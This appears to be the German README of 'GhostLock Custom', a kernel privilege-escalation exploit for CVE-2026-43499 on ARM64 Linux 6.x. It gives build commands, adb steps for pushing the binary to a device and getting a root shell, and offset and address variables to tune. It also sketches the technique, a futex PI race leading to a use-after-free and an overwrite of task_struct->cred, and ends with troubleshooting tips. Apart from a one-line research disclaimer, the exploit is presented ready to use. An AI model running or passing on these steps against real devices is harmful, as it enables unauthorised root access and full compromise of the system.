GhostLock Custom — angepasste Version für CVE-2026-43499

Ein Privilege-Escalation-Exploit für GhostLock (CVE-2026-43499), der auf Nicht-Android-Linux-6.x-ARM64-Kernel abzielt.

Kernel-Merkmale

Eigenschaft	Wert
Architektur	ARM64 (AArch64)
VA_BITS	39
KIMAGE_TEXT_BASE	`0xffffffc008000000`
Kernel-Version	6.x
SELinux	Nicht vorhanden
ashmem	Nicht vorhanden
configfs	Nicht vorhanden

Kompilieren

Lokale Kompilierung (Cross-Compiler erforderlich)

make

Kompilierung mit Android NDK

make android-arm64 NDK=/path/to/android-ndk

GitHub Actions (Cloud-Kompilierung)

Nach dem Push wird die Kompilierung automatisch ausgelöst; lade einfach das Artifact herunter.

Verwendung

# Auf das Zielgerät übertragen
adb push ghostlock-arm64 /data/local/tmp/e
adb shell chmod 755 /data/local/tmp/e

# Root-Shell erhalten
adb shell /data/local/tmp/e --shell

# pselect-Offset anpassen (falls der Standardwert nicht funktioniert)
adb shell PSELECT_SHIFT=-4 /data/local/tmp/e --shell
adb shell PSELECT_SHIFT=-2 /data/local/tmp/e --shell
adb shell PSELECT_SHIFT=0 /data/local/tmp/e --shell
adb shell PSELECT_SHIFT=2 /data/local/tmp/e --shell
adb shell PSELECT_SHIFT=4 /data/local/tmp/e --shell

# Physikalische Ladeadresse angeben
adb shell KPHYS=0x80000000 /data/local/tmp/e --shell

Umgebungsvariablen

Variable	Standardwert	Beschreibung
`PSELECT_SHIFT`	`-2`	Offset-Anpassung des pselect-Waiters auf dem Stack
`KPHYS`	`0x80000000`	Physikalische Ladeadresse des Kernels
`KIMAGE_TEXT_BASE`	`0xffffffc008000000`	Virtuelle Basisadresse des Kernels

Funktionsweise der Privilege Escalation

futex-PI-Race-Condition: FUTEX_CMP_REQUEUE_PI löst eine UAF in remove_waiter() aus
pselect-Stack-Overwrite: Der freigegebene rt_mutex_waiter landet im stack_fds-Puffer
PI-Tree-Schreibvorgang: Über einen konstruierten Fake-Waiter wird ein Schreiben auf beliebige Kernel-Adressen ermöglicht
cred-Überschreibung: task_struct->cred wird mit init_cred überschrieben

Anpassungshinweise

Diese Version basiert auf ghostlock-oneplus und wurde verschlankt:

SELinux-Deaktivierungscode entfernt (dieser Kernel hat kein SELinux)
ashmem-/configfs-bezogener Code entfernt (dieser Kernel enthält diese Komponenten nicht)
KernelSU-Installationscode entfernt
KASLR-Slide-Leak entfernt (keine loggers/nfulnl_logger)
Android-spezifischer Code entfernt (miniADB usw.)

Fehlerbehebung

Symptom	Mögliche Ursache	Lösung
Gerät startet neu	PSELECT_SHIFT falsch	Nacheinander von -4 bis +4 ausprobieren
Keine Wirkung	KPHYS falsch	Richtigen Wert in `/proc/iomem` prüfen
perf_event_open failed	seccomp-Einschränkung	Versuch, es über die ADB-Shell auszuführen
Kein Root	Offset stimmt nicht überein	Kernel-Version bestätigen, TASK_CRED_OFF prüfen

Haftungsausschluss

Dieses Tool dient ausschließlich der Sicherheitsforschung. Der Nutzer trägt die alleinige Verantwortung.

ghostlock-custom

Beliebteste